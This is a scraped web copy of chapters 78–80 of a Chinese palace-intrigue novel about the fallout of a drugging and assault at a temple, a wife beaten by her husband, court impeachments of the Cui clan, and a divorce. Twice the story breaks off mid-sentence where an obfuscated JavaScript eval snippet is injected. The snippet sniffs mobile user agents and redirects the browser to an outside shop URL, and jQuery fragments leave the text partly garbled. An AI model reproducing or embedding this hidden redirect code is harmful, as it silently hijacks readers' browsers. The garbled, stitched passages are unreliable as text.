她不敢置信地瞪着床上的两人,位于上方的张毅然还在动作着,似是中药太深已经有些无意识了,而下面的人早已昏死多时。 清河长公主要反应过来后,猛的发出一声尖叫。惊得外面的众人纷纷好奇往里瞧。 嬷嬷最先反应过来,再想拦着已然来不及,她赶忙拉住公主,低声道:“公主,可不能让外人瞧笑话!” 这句话令她恢复了三分神智,疯了般想要合上禅房的门才发现门早就因为被烧坏拆下来了。她扭过头去拉住自己的儿子讲他从床上扯下来,胡乱的给他裹衣服,也让众人看清了床上之人的情形。 一个胆大的公子惊呼出声,赶忙朝外喊到:“出人命了!快去找大夫!” 崔青卓趴在床上,还有一息尚存,但他宁愿他死了,这样就可以不痛苦,他的母亲和儿子或许可以活的轻松一些。 * 等章麓跨入后院时,崔青卓已经被人抬走安置在客院一间干净的房间。大夫已经看过情况,不容乐观,隐晦处有很深的撕裂伤,流血太多,如果想要止住,只有一人可以:洛桑神医。 然而,洛桑神医是陛下找来的,虽现在太医院任职,却是个挂名的,早在上元节第二天清早便出门云游,崔敏先出事时,崔家上门求医都没能找到人,如今又该去哪儿找? 大夫也知道这情况,只能给出另外一种方法,便是聚粹轩的明络丹,一日一枚塞入伤处,七日长好,三十日便可痊愈。在此之前,大夫会先帮忙止血,但十二个时辰内,必须用两者之一的方式治疗,否则命不久矣。这方法也没比之前的好到哪里去,不过崔家到底有太后撑腰,银钱不会是问题,三十枚明络丹加起来也不过崔敏先身上的一枚血玉罢了,这可是崔环如今唯一的儿子了,应该拿的出。 听到这里,章麓眸光微动。 只不过…… “崔夫人去哪儿了?” 众人四下看了看,没有发现她的身影,这种时候她竟然不来?难不成是因为崔环抬平妻想要改立世子的事心存怨气?那确实是崔环做的不地道。 崔敏先无后的事被压了下去,大家自然都不知道崔环改立世子的原因。只以为是崔敏先得罪了虞庆侯府,被联合弹劾,崔环便借口此事将宠妾扶上位,立宠妾的儿子为世子。 坐在地上撒泼的清河大长公主听到大夫的话,也不管其他人怎么想,直接命令侍卫去聚粹轩,不准任何人进出那里!然后一把拉住大夫,厉声喝道:“一个用药勾引我儿的贱人!救什么救!死了才好!” 说完,还冲进房里想要暴打崔青卓,却被僧人拦下。她还想让侍卫将僧人都打出去,主持怒喝一声,刚想动用武僧,却被快步走来的贤王妃打断。 “你当这里是鲁堰村的田间地头吗?岂容你如此放肆!”贤王妃人未见声先到。 清河大长公主瞬间就像是被掐住脖子的鸭子,叫嚣声戛然而止。 贤王妃没管清河大长公主,先向主持告了罪,然后命身侧人去崔府通传。他在来之前就从僧人那里了解到了情况,他本以为是清河大长公主与崔芙蕖争吵,没想到崔芙蕖竟连来都没来。 这时,一位僧人快步走进来,对主持说:“师傅,崔夫人在一个时辰前便已经离开了。” “什么?那个.贱.人.还敢跑!”主持还没说什么,清河大长公主先叫了起来,刚被压下去的气焰,瞬间又窜得老高。她虽然看不上贤王妃,但陛下爱重皇后自然善待贤王府,她不敢真的跟贤王妃对上,否则自己肯定讨不到好。 可崔芙蕖算哪根葱,自己可是当今陛下的亲姑姑,岂能容她欺负到自己的头上,当即就要追上去讨个说法。 贤王妃神情寡淡,她看向清河大长公主的眼神,就像是在看一个跳梁小丑一般。当对方从她面前走过时,她未迈出半步,只是不带半分温度的问道:“来的路上我都听人说了,我且问你,当时屋舍莫名其妙着火,僧人救火后你为何要强行推开僧人,执意闯进房间?” 威严的声音在清河长公主的头顶响起,她脚步微顿,扭头看向贤王妃,冷笑道:“你在说什么?本宫闯入哪里了?” 贤王妃静静的凝视了对方一会儿,方道:“燕过留痕的道理,你应当懂得。” 清河大长公主的心中闪过一丝忐忑,但也只是一丝罢了,很快就被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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章麓直觉是有什么不好的东西,但贤王妃毕竟是长辈,她不好出口问,想着等人都离开之后,她再翻进去探察一番。 但没想到,贤王妃主动将事情告知了她:“角落里发现了还未燃尽的熏香粉,奴婢验过,里面掺了魇魂香,其实这香没什么害处,是治病救人的香料,只是不可与香樟融合,否则会放大人心的恐惧,令人至幻。可是,有人在里面掺了少量的‘怀春’,这药非常烈,前朝便禁了,也就一些暗馆会用。中了这种药,只怕没救了。” “什么意思?”章麓心中一凛。 “就是说,即便脱离药性,某些方面也会变得跟崔敏先一模一样了。”贤王妃轻念一声‘阿弥陀佛’:“看来是有人顺水推舟了。” 贤王妃又让人去章麓居住的屋子里看了看,回禀的人说那屋子里也有魇魂香。 “你所居住的屋子里,那些帷幔都被加了魇魂香的水洗涤过,味道久久不散。这魇魂香与寺院的檀香极为相似,于人倒是没什么害处,只是不可与香樟结合,否则会令人引发魇症。” 言下之意,是有人故意要害她。 没待章麓反应过来,贤王妃又问:“你身边的侍女呢?怎么不见人?” 章麓神思恍惚,下意识回道:“出门办事了。” 贤王妃嗯了一声,放下一道惊雷:“双竹与晴野被靖国公的人追杀,跳入惠济渠,生死堪忧。” “娘娘?”章麓猛的抬起头,瞪大了双眼,眼中的恐惧无所遁形。 “我只是看你形容憔悴,不想你再如此,方才我见李鹤霖掩人耳目从后山而走,便知道你们应该是见过了。他今日所做之事为的就是个那些贼人最后一击,而我今日将这两人的行踪告知与你,既是想安你的心,也是想要你明白,他们于陛下有大用,即便是生,在你的脑子里,耳朵里,嘴里也只能是死,明白吗?” 78. 第 78 章 橘黄色的晚霞带着七分缱绻,化入城中的万家灯火。百姓们轻点这一天的收成,带着愉悦的心情,随着橘黄色的洪流,回到自己温暖的家中。 只是这份欢欣,怎么也淌不进崔府的高墙大院。 ‘啪’的一声,安国公狠狠的给了安国公夫人一巴掌,这一手没留半分力气,还带着十足十的怒火,直将人扇飞出去,一头撞在了禁闭的门扉上。 守在外面的婆子被吓得打了个激灵,头垂得更低,悄悄的往外挪了两步,尽可能的离正屋远一些。 紧接着,门里面又传来频繁的拳打脚踢之声,还有女子隐忍的闷哼。 这场单方面的殴打泄愤持续了足有半盏茶的时间,直到崔环累了,坐在椅子上喝茶平复,才算停息。 期间,崔芙蕖没有求饶,没有哀嚎,早在她决定做下一切都时候,就已经抱着玉石俱焚的决心。她不怕崔环会因此拿她儿子开刀,佛寺的事情一定会传到陛下耳朵里,如果这时候崔敏先再出事,陛下定会借机抓着不放,彻底将崔氏打压下去。 崔环不傻,而她也确实赌赢了。 只是崔环怎能甘心自己被一个女人摆了一道,还是她的正室夫人!简直奇耻大辱! 他颤着手指着趴服在地上的女人,怒骂道:“毒妇!我当初真是眼瞎,竟娶了你这个毒妇!” 崔芙蕖勉强撑着地面坐起身,额头上流下的血顺着优美的下颌线滴落在衣襟上,在鸢尾紫的织锦上绽出一朵又一朵绚丽的花。 她的神色平静,心早已碎如飞灰,也就不在意眼前的男人如何对她恶语相向,只抬着眼皮,无甚感情的说到:“当年我本不会嫁你,若不是崔太后使手段,让李裕坤在重阳登高宴上先看上了张桂芸,你以为我会选你?本来凭着庸田之策我可获封县主,将来嫁入侯门都使得,是你甜言蜜语蛊惑我,让我用自己的功绩,换了你的步步高升!当年你是怎么承诺的?不会有外室,不会有妾,不会通房,不会有庶子,可你又是如何做的!” “你现在掰扯这些有什么意思!当年是你主动给我纳妾,不是我逼你的!”崔环争辩道。 崔芙蕖盯着自己的枕边人,神色复杂难辨,她凄然笑到:“是,是我主动的,孟氏呢?现在想来我当年可真是傻得可以,居然会被你这种伪君子瞒骗得如此彻底。我居然会信这种……男人不发泄会于子嗣有碍的话,吓得我忍着心痛,将孟氏骗来。最后,竟叫你名正言顺的开了这个口子!哈哈哈哈哈!我可真是蠢啊!” 崔环脸色难看,他一甩袖,怒斥道:“你现在说这些做什么!翻旧账难道就能掩盖你的恶毒心思?毒害夫君子嗣,我完全可以休了你!” 崔芙蕖一点都没有被他吓到,反而吐了口气,淡然说:“好啊,那便休了我罢。我犯了七出,你大可休得名正言顺一些,我不会反抗。” 若是崔芙蕖与他吵起来,崔环还能顺势撒气,但对方如今就像个面团,你说什么都好,你做什么都行,反而让他的火气无处发泄,生生憋在胸腔里,梗得厉害。 休妻,也只能是嘴上说说而已,若真的休了她,安国公府才是真的完了!他撇了一眼夫人,出门招来管家,说:“将夫人关入祠堂,没我的命令,除了水和馒头,什么都准给她送,也不准她出来!” 管家看着满脸是血,甚至还在往下滴的夫人,小心翼翼的问道:“是否需要找个大夫,给夫人包扎一下?” 崔环眸色狠厉的瞪向管家,阴狠狠的说到:“她有受伤吗?我怎么没看见。” 管家被吓得顿时不敢言语,忙招呼人将夫人扶走。 崔芙蕖自己扶着门框站了起来,虽然眼前昏花一片,什么都看不清楚,头也晕的厉害,但不妨碍她自己走出去,走出这片困了她一辈子的天地。 “快了,就快了,只差一步。” 她挥开小厮,自己一步一踉跄的朝祠堂走去。 崔环看着她的背影,冷哼一声,甩袖往崔青卓的院子而去。 崔青卓躺在床上,双目无神,一动不动。孟氏坐在床边,用手帕捂着嘴无声的流泪。她做梦也没有想到,夫人居然会这么狠,将她儿子害成这般模样!崔青卓的儿子崔敬澜默默的递给祖母帕子,让她擦擦眼泪。 崔环进来的时候,看到的便是这番情景。 他心里有些愧疚,但事情已然发生,他也无力改变。只能安慰了一番崔青卓,然后告诉孟氏:“我已经派人去了聚粹轩,能买来多少明络丹就先买多少,先把伤治好。夫人已经被关进祠堂里,陛下那边肯定会问责,待事情了结,我定会抬你做正室夫人。” 孟氏摇了摇头,哭着说到:“老爷,求求您放过我儿子吧,他命薄,您给的宠爱,他实在无福消受。” 这话带着怨气,让听惯了孟氏说软化的崔环听了颇为不舒服,他微微蹙着眉头,说:“你放心,陛下问责之后,她就算不死,也不可能再坐在正室夫人的位置上,到时候不会有人难为你的。只要太后还在,崔氏永远都不会倒!” 他也不等孟氏开口,便快步离开了院子。 站在床边的崔敬澜耳朵微动,下意识摸了摸自己藏在衣襟里的玉坠。 待人走远后,他扒住祖母的膝盖,饱含期待的问到:“祖母,是不是有了明络丹,父亲就能痊愈?” 孟氏点了点头,苦笑道:“是,可是要每日一颗,连用三十颗,聚粹轩不知道有多少,但能入聚粹轩的东西都价值不菲,只怕以府上的财力,也难买齐三十颗。你祖父精于算计,原来需要你爹帮他保住国公府的爵位,自然对你爹对你都好,但如今你爹他……算是被毁了,你祖父不会真的愿意花前买齐三十颗,大概也就是买齐七颗治住伤口。日后你祖父大概又会像以前一样,对你不闻不问,你千万不要觉得难过,我们就还像以前那般过日子,好不好?” 崔敬澜乖巧的点头,一点也没感觉到失望,他说:“祖父虽然这段时间买了很多东西给我,但没有一个是我喜欢的,我能感觉得到,他不是真的喜欢我,所以我一点都不失望,我们以前的生活就挺好的,就像母亲说的,自己动手丰衣足食。虽然自父亲被祖父重视之后,府上的人都对我们挺殷勤,但我知道他们在背后议论我们,说的话也不好听,我不喜欢这样。” 孟氏欣慰的摸了摸崔敬澜的头,说到:“澜儿能如此想是最好。” 崔敬澜看着木头一般都父亲,心里难过,他毫不犹豫的将藏在衣襟下的白鹿血玉拿出来,递给祖母,语速奇快的说:“这时母亲临终前留给我的,说将来若是安国公府倒台,便将这枚吊坠交给聚粹轩的掌柜,能保我们一家性命。如今父亲受此重伤,需要聚粹轩的明络丹,我拿着这个吊坠去求,一定能换来三十枚!” 孟氏并不知道自己儿媳居然还有这等信物。 她拿着这枚吊坠看了半晌,心知这种雕工定然是尊贵之物,只是不知如何会与聚粹轩扯上关系。传言聚粹轩的老板与虞庆侯府有旧,而儿媳听口音也是来自于北方,难不成…… 现下孟氏也没有别的法子了,只能一试。 她连忙写了一封信,让自己当年的陪嫁丫头,如今她院内的管事妈妈亲自跑了一趟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12907711|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜晚的皇宫静悄悄的,除了明德殿和凤栖宫,其他宫室均熄了灯落了钥。而明德殿内,泰安帝并未像往常一样批阅奏折,而是头痛的听着清河大长公主在自己面前哭诉,待人哭诉完了离开,已然将近人定。 孟德才在一旁一直燃着茶炉,见泰安帝一脸疲惫之色,立刻续上一杯热茶,并为其捏肩捶背。 劝到:“陛下何必忧思,往日大长公主有个什么不容易皆会这般闹一通,过个三五日便消停了。” 泰安帝揉了揉胀痛的额角,糟心的说到:“只怕这次没那么容易过去。朕这个姑姑最是护短,因长子请封了世子,她这些年颇为偏爱次子,要不然也不会容得张毅然在外胡来。你瞧瞧,如今竟直接欺负到崔氏头上了,这简直是公然打太后的脸!太后焉能放过?单姑姑入宫开始,太后都请了朕几次了?崔氏如今只是革职,只要太后还在,富贵就不会倒。夺爵?哼,他们怕是一直在琢磨着,怎么拿捏了朕的把柄,好让崔氏再登高位。别忘了,良妃的肚子里,可还揣着一个呢。” 孟德才自然知道,但他作为奴才不能挑明,只能劝,做近身奴才就要知道什么时候该聪明,什么时候该装糊涂,他说:“长公主不说了,是因着有人下药,意欲暗害吗?” 泰安帝冷笑一声,道:“你信她?就算是中药,也有发作的时间,那张毅然若是没那心思,早就离开了,又岂会发展成如今这样?朕这位姑姑啊,惯会将责任都推到别人身上,却从未自省过。崔氏张芙蕖再记恨崔青卓,也不会如此做。说起来,前朝的时候,你应该是负责内务府的吧?不了解张家这位二姑娘也属正常。” “是,奴婢那是只是内务府一个小内侍,能接触到最大的官,就是各宫的掌事嬷嬷了。” 泰安帝点头,道:“别看张芙蕖出身不高,但她父亲却是个人中龙凤,你可听说过蔺珠庄园?” 孟德才一惊,道:“自是听说过,大业年间,这蔺珠庄园的家族可有‘闽东活财神’之称。” 可单就这一个称号还不足以形容其庞大。 闽东八州重商,商人逐利,各个精于算计。普通农户很难在官府的拨盘和商户的联合压价下活的富足,大多都只能维持温饱。直至前朝康景帝年间,一位姓蔺的农户家中考出了一位新科状元,一路官拜三品,掌户部农司,他的宗族自此便一路发达。后期因六王之乱、外地纷扰,不少农户弃地逃荒,蔺氏一族便借机买了许多耕田,开始招农民来耕种,按月给钱。 “一开始的时候,农人还心存感激,干事也麻利。时间久了,就有人开始偷奸耍滑。于是,当时只有十三岁的张芙蕖,便想了个主意,正是当年大业皇帝推广了一半的庸田制。”泰安帝说:“当时她本可以凭着庸田制获封郡主,可惜……母亲当年想提拔崔家,来找过朕。但崔家着实是烂泥扶不上墙,科考之路无望便想买官。被朕拒绝之后,母亲就想到了别的法子,而受害者便是如今的张芙蕖。” “你知道是什么法子吗?”泰安帝幽幽问道。 孟德才隐隐有猜测,但不敢言语,只能垂首静声。 泰安帝也没想真的让他回他,他从回忆中回过神来,声音如寒冰料峭,冷入骨髓:“这个法子,与张毅然和崔青卓之事一模一样。” 孟德才眼皮微颤,头低得更低,置于小腹的双手猛的攥紧。 泰安帝说:“张芙蕖有她自己的骄傲,有自己的算计。她会见死不救,会冷眼旁观,但绝不会参与其中,此事恐怕是有人借力打力,孟德才。” “奴婢在。” “宣王相权即刻入宫。” 79. 第 79 章 发生了如此恶性事件,虞庆侯府众人自然无法继续在大相国寺住下去。 虞庆侯夫人命人收拾行装,连夜返回长安城,章琳琅也随他们一同回去。 傅云期自是想要阻拦,却被虞庆侯夫人不咸不淡的挡了回去,只能眼睁睁的看着马车扬长而去。 刚一入院,便有侍女传话,说侯爷请六姑娘去东苑书房。 东苑书房不如正院的大,布置也极为简单,四列书架,一张条案,一把椅子。什么挂画、匾额、花几之类的都没有,就简简单单的三种东西,书、放书的架子、写字需要的物件。 虞庆侯让人拿了把椅子过来,放在了条案的对面。待章麓坐定后,将一张信纸和一枚白鹿血玉吊坠递给了对方。 一瞧见东西,章麓立刻坐直了。她迫不及待的打开信,仔细看了看上面的内容。字迹比较潦草也陌生,应是匆忙之间写下的。看完信的内容,事情的原委便完全展开在章麓的面前。 她没有着急答应信中的事情,而是先问了问父亲的想法。 虞庆侯拨了拨茶碗,淡声道:“可救,但不是现在。” 他解释道:“如今此事闹到这个地步,已经逃不过在朝堂上参奏。无论孰是孰非,崔青卓必然做不成世子。那么太后和崔氏便只有两个选择,要么彻底压下崔敏先不能人道的事,要么把崔青卓的儿子培养起来。前者欺君,后者……他也无望,端看他如何选择,我们才能走出下一步。” “若是将崔青卓的儿子绑死在崔氏的战船上,那就不可能再将崔青卓救出来。”章麓说道,“崔青卓和神花公主的儿子还太小,送去吐谷浑只能让人吃得骨头都不剩,若是换做崔青卓的话,应该会更合适。神花长公主按年纪来说,到今年应该是三十有六,而崔青卓不过二十二,说做十七八岁应该也可以,算是元清的弟弟。” 虞庆侯点头,说:“所以,我们只能逼他选前者。” “父亲有何打算?” 虞庆侯露出一个和煦的笑容:“为父自有办法,你这几日便在府中好好陪陪姑姑,其他的交给为父。既然有人想要崔家走投无路,那为父就帮他们一把。” 张毅然和崔青卓的事,最终还是摆上了朝堂,御史们闻风而动,参奏太后和崔氏的折子都写翻出了花。一个上午,文武百官都在因着这件‘耸人听闻’的大案争吵不休。泰安帝端坐于龙椅之上,一会儿认为那个说的对,一会儿又讲这个说的有道理,总之谁的话他都应和,但总也没个结果,一副坚决和稀泥到底的模样。 反正泰安帝话里话外的宗旨只有一点:崔环乃太后亲弟,是朕的小叔,现已经被夺了爵位,再因此事罚个抄家流放未免太过。朕不能不顾孝悌,只下旨呵斥一番便好。 但向来与崔氏不对付的朝臣,明显不会同意陛下如此轻拿轻放,便一直吵,吵了足有两三天。有人还在下朝时拦截三皇子,欲让三皇子开这个口,毕竟太后对皇后苛刻的事众人皆知,三皇子应当很愿意给崔家添堵。 然而令人意外的是,三皇子借口军务繁重,直接旷了七日的早朝,日日蹲在墨云骑所在的卫所里,连面都不肯露。 朝中为此吵的天翻地覆,却没个结果,但京中的茶楼却开始流传着一则绯闻。 说来也巧,绯闻的主角依旧是崔氏,只不过讲的却是崔环的庶弟,亦是崔太后的庶弟。 话说崔家到崔环这一辈,一共有嫡庶兄弟四人,姐妹六人,其中以排行老四的庶弟德行才学最为出众,甚至曾考上二榜同进士出身,一路升至五品户部参事。 但老夫人偏爱嫡子崔环,便打压老四,陷害他出了一则丑闻被罢官。自他被罢官之后,便一直待在自己的院子里足不出户,每日不是饮酒就是写悲伤满满的诗赋,过得非常颓废。 而绯闻牵扯到的两人,一人是崔环,另一人便是他庶弟的妻子。 安国公四弟的妻子是崔家出了三服的堂亲,名义上是安国公的侄女,但谁都知道这份亲缘简直浅薄得跟陌生人一样。 这位堂亲十四五岁时,曾在崔府上客居过一段时间,与当时刚刚及冠的崔环有了私情。因为崔太后想要为自己的亲弟弟崔环聘娶蔺家的嫡长女蔺如归,便将这位所谓的侄女嫁给了四弟。 本来因着这庶弟新科登榜,成了二榜同进士出身,做了官也算有出息,那姑娘便决心与其好好过日子。可惜好景不长,因丑闻被罢官,整日沉迷于酒坛之中,连后院都不去了,这位姑娘一年到头能见到夫君的次数屈指可数,便心生不满。 再加上崔环因着蔺家的帮扶,眼见日日高升,她便生出了些别的心思,开始时常于府中偶遇对方。 这一来二去的,两人便又混在了一起。那时,崔环正因着孟氏被纳而心烦意乱,整日都想着如何打压磋磨对方,因此一点都没发现这两人混在了一起。 甚至那对方生的儿子,都有可能是崔环的。 茶楼的说书先生们难得的口径一致,说的那叫一个跌宕起伏,精彩纷呈,甚至连太后都被扯进来。 崔府瞬间炸了锅。 虽说平日里那庶弟跟个没骨头的酒蒙子一样,什么都不管什么都不问,吃穿一律是给什么用什么,就算时不时短缺几次都不吭声,瞧着软弱可欺。但此事事关一个男人的尊严,如何能忍! 他混了这么些年,自然不在乎什么体面不体面,直接抄了家伙打上了正房。原本张芙蕖还在的话,尚能镇得住场面。但现在张芙蕖人被圈禁在佛堂,孟氏又从来关起门来过自己的日子,其他的几房妾室更是没人敢出这个头。于是,整个正房竟没一人能拦得住他。由得他吵嚷打骂,直把正房搅得乱作一团。 而其他几房见了这情形,也不知道心里怎么琢磨的,竟也找到了正房,开始翻旧账。这人谁都有犯错的时候,一旦翻旧账,那就是剪不清理还乱,且越翻越多,越烦越乱,最后竟将全府的主子都牵扯了进来,各个犹如斗鸡一般日日吵扰,毫无半分高门大户的风范。 原本百姓们只是听个乐呵,毕竟说书的为了吸引人都会有非常大的夸张部分,大多数人都没将这事儿当真,至少关于孩子那部分不会当真,毕竟说书的也没说死,而且一个男人再混蛋,是不是自己儿子还是分得清的。 可如今见崔府这番反应,百姓们就觉得空穴来风,必有其实。 其实如今的勋爵世家大多都是前朝遗留下来的,虽然都褫夺了封号,但大多都在朝堂为官,只要没有犯过大错的,都不会被陛下罢免,否则大家都走了,谁来处理朝中事务呢? 勋贵世家不论是京城土著,还是改弦更张后地方入京的,高门大户子嗣众多 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御史们弹劾的折子又多了三四番,直接堆满了泰安帝的桌案,甚至有一部分都堆在了桌案旁的地面上。被弹劾的不单单有崔环,还有他的亲族、妻族,连带着靖国公、清河长公主,甚至太后都在其列。 原本只不过是两家的恩怨,顶天就是治家不严。如今直接变成了朝堂政事,折子满天飞不说,几派人马直接开始在朝堂上打起了擂台,直接蔓延到了与崔氏、靖国公有关的其他人。 立朝头一年的宫猎时间一拖再拖,眼看着要到七月了,陛下还没定下来也不知道在等什么。 六月末的时候,北方大捷,章启入朝受封,程卫昭也在受封其列。朝堂依旧在为此事争吵不休,流言越来越多,甚至将西洲侯和卫王府也牵扯了进来,暗指柳杰在东郡犯下的案子另有主谋。 有人上京告御状,直指西洲侯在西川欺压百姓,尸位素餐,但泰安帝都压下不表,也没有阻止外面流言的意思。 七月一的早朝上,有御史上前弹劾,还是崔环与靖国公,至于西洲侯与卫王,哪个敢提? 泰安帝现在都不想再听到这两人的名字了,御史刚一起头,他就不厌其烦的说到:“两家私事用得着天天在朝堂上说?朕已下旨申斥,罚俸三年还不够吗?难不成你们要朕连着太后一起罚才肯罢休吗!” 朝臣们一听,连连跪拜直言不敢。但下了朝之后,依旧折子写的飞起,甚至有大胆的开始公然参奏崔太后包庇亲族,有结党营私,妄图做大外戚滋扰朝堂之嫌。 这一下,直把太后气的一病不起,还直接传话泰安帝,令他不必看在她的面子上放过崔家,该如何罚便如何罚。 泰安帝等的便是她这句话,不过他也不能真的按自己的想法将人废了,否则各世家因此人人自危,得不偿失。而且太后看中崔梦宜,非要泰安帝保她,还要封郡主。泰安帝以崔环行为不检,不好赦封为由,拒了。 但在虞庆侯入宫面见泰安帝之后,又突然松了口,只不过郡主没有,只能是县主且没有食邑,只是个空有名头的县主娘娘,还大发慈悲准孟氏与崔环和离,带儿孙离开崔家,另开府去。 这一下,太后是彻底病倒了。 朝堂上泰安帝与崔太后的博弈暂时告一段落,但虞庆侯府上,玉溪郡主章琳琅和郡马傅云期的好戏才刚刚上演。 80. 第 80 章 自大相国寺回来之后,章琳琅便一直住在虞庆侯府上。傅云期多次登门都被拒之门外,虞庆侯只给了一句话,拿着和离书来,才让进门,否则,小人与傅云期不得入内。 不过,傅云期也不是个好性子的人,不然也不会如此肆无忌惮的在外面找这么多女人。 所以,当崔府和靖国公府的事刚有点眉目的时候,傅家的老夫人,便趁着虞庆侯上朝的时候,直接闹上了门。 那傅老夫人也是个脸面都不要了的,直接带着一伙人打上了虞庆侯府。 祁云见状,本欲抽刀,却被云逸拦下:“如今风声紧,若此时见了血,不论侯府是否占理,都会变得不占理,你且在次拦着,我去禀报夫人。” 傅老夫人见虞庆侯府看门的不是小厮,而是穿着布衣软甲的兵士,就有些惧怕。再加上对方身形高大,虽年纪瞧着尚小但眉宇间不怒自威,就有点想打退堂鼓。不过她刚退一步,就被自家兄弟扶住,对方低声在她耳旁说道:“想想外甥的话。” 傅老夫人脑子一转,福至心灵,顿时硬气了不少,站在门口便开始嚷嚷:“你们范阳章氏教出来的好姑娘,受荫封擢升了郡主娘娘就不把夫君放在眼里了!居然敢打自己的夫君!还要和离!自己躲在哥哥家不敢出来见人,叫自己有权有势的兄长去欺压自己的丈夫,强行和离!这是勋贵之家干出来的事吗?欺负我们平头老百姓,我今日就要来讨个公道!” 府内,虞庆侯夫人正与玉溪郡主下棋,章麓坐在一旁查大同商号的账。 听到云逸的禀报,虞庆侯夫人有些诧异的挑了挑眉,说:“据我所知,傅老夫人一向胆小,自傅太傅出事之后,更是自请去了汴州的入显庵礼佛,如今竟会在她儿子明显有错的情况下闹上门来,只怕这背后有人给她撑腰。走吧,且去看看她有什么依仗。” 虞庆侯夫人与玉溪郡主来到前厅,看见傅老夫人一脸凶恶模样,心下诧异。玉溪郡主自嫁入傅家,就很少见到这位婆婆,但成亲时见过一面,端的静娴淑雅,举止大方,如今这副模样与之从前大不相同,说是市井老妇都有人信。 而虞庆侯夫人则讶异于对方的老态,算来老夫人也不过四十六岁,不应白了头发,皱纹满脸才对。可今日观她面相,足有六十之态,也不知这七八年经历了什么,竟老的如此之快。 虞庆侯夫人乃一品侯,自是不需向她请安。而玉溪郡主尚未和离,依旧是她的儿媳,自然要行礼,可玉溪郡主一想到傅云期那副混账模样,也装不出孝顺姿态,直接目不斜视的与虞庆侯夫人同坐。 见玉溪郡主不向她行礼,直接就坐,傅老夫人便知道地方不将她当婆婆看待了,当即就按照儿子嘱咐的话来做。带着宝石戒指的手指着玉溪郡主,怒斥道:“瞧瞧你们章氏的规矩,儿媳妇见了婆婆居然不拜见!还直接坐在了主位上!果然是蛮夷之地出来的女儿,就是放肆不知礼数!” 虞庆侯夫人双手交叠于膝上,对她的质问只当笑话听,施施然道:“行礼?傅老夫人您觉得您配吗?” 傅老夫人刚要叫嚣,就被虞庆侯夫人打断:“傅老夫人今日为何而来你我都清楚,我范阳章氏虽初到京城,却不是什么任由你欺负的小门小户。傅云期自己行为不检,勾搭客居姑娘,被我们当场撞见,打他都是轻的。” 傅老夫人瞬间被堵住,想起自己儿子干的混账事,心里的忐忑一瞬间占据了上风。但想到儿子交代的事情,她又不得不咬牙辩驳:“就算我儿做了不好的事情,但也只是男人通病罢了!我儿成婚以来一直没有纳妾,这足以证明对章琳琅的爱护,这世上能做到这一点的男人寥寥无几,不过是因着章琳琅病重,在外寻个乐子罢了。你作为妻子,明知不能侍奉,不主动为夫君纳妾就算了,居然还因着他与别的姑娘玩闹就动手打人!你这是犯了七出!”傅老夫人越说越觉得自己有理,说完便直接哭嚎了起来,嘴里叫嚷着章琳琅枉为人妻。 章琳琅闭着眼无视她,她是无论如何也没想到自己的婆婆居然是这样一副性子。还好她在成婚后便开府自居了,否则日日与这婆子住一起,早晚得被磋磨的没个人样。 虞庆侯夫人则是稳稳当当的坐在主位上,端着茶慢慢品着,任由对方如何吵闹不休,我自岿然不动。 傅老夫人见两人都不接茬,也演不下去了,转头就又说回和离的事情,反正一句话,只有休妻没有和离。 在大梁朝,若妻子犯七出之一便可休弃,休弃后除所攒银钱,其他一律不可带走,包括嫁妆。虞庆侯夫人都不用琢磨便知道傅家打的什么主意,不就是想吞了章琳琅的嫁妆嘛。 “傅老夫人,你今日闹上门来,难道不知道事情捅了出去于你儿子的名声无益?我也真是奇怪,你们怎么还有脸来闹。”虞庆侯夫人面上带着明晃晃的嘲讽 傅老夫人眼底闪过一阵心虚,但儿子交代的事不能不做,刚想再开口,却被一道男声打断。 抬眼一瞧,竟是虞庆侯下朝回来了。 虞庆侯与虞庆侯夫人和玉溪郡主不同,他自十四岁便骑马上战场,刀尖舔血的过了四十年,杀过的人只怕比吃的饭都多。眉目间自带杀伐之气,仅挑帘而入的几步,便吓得傅老夫人腿软。 虞庆侯没她夫人那股子闲情逸致,与这老虔婆扯皮,直接挑明了说到:“你们傅家借着琳琅的嫁妆放了多少利钱不必我多说吧?本侯限你们三日之内全部归还,否则咱们公堂见!” “你……你胡说什么!”傅老夫人脸色一白,她没想到侄子做的这么隐蔽的事情居然会被发现! 虞庆侯今日早朝又听着一堆人在安国公的事情上东拉西扯,早就磨没了耐心,直接命人送客。 在侍卫半架着人丢出侯府大门后,虞庆侯还当着外面看热闹的百姓们的面,说到:“范阳章氏的女儿容不得傅云期如此作践!若再做纠缠,本侯定要为妹妹讨一个公道。如今因着两家结亲也有十一年,给你们一个脸面,正正经经和离,否则,待本侯告到皇上面前,你们傅家有一个算一个,全都别想跑!关门!” 虞庆侯回到正屋之后,仔细交代夫人:“天将大变,赶紧将这些不干净的东西都切割清楚,还有小舅那边,他虽是个清散伯爵,改朝换代之后便辞官闭户,但也挡不住别有心机的人。不要在乎什么损失,只要有个万一的都赶紧分出去,免得叫人拿捏了把柄。” 因为前面有安国公和靖国公府的事顶着,玉溪郡主与傅云期的事便没有闹出什么风浪。 第二日,傅老夫人带着傅云期前来签下和离书,虽然脸色难看却一个字都不敢说。虞庆侯夫人直接拿出了当年玉溪郡主出嫁时的嫁妆单子,与傅家一一核对。最后拉了足足四十辆马车才把嫁妆全部拉走,城里看热闹的百姓纷纷赞叹玉溪郡主当年的风光,说是十里红妆都不为过。 说起来,章麓没想到十几年前的嫁妆单子居然都找得到,再一次由衷的佩服自己母亲的管家能力。 如今崔府和靖国公府的事情闹得人尽皆知,已然不好收场,崔太后又撒手不管,等同于直接将崔氏丢到了狼群里,不被扒下一层皮才怪。 除此之外,关于清河长公主和张毅然仗势欺人的案子也有了判罚。 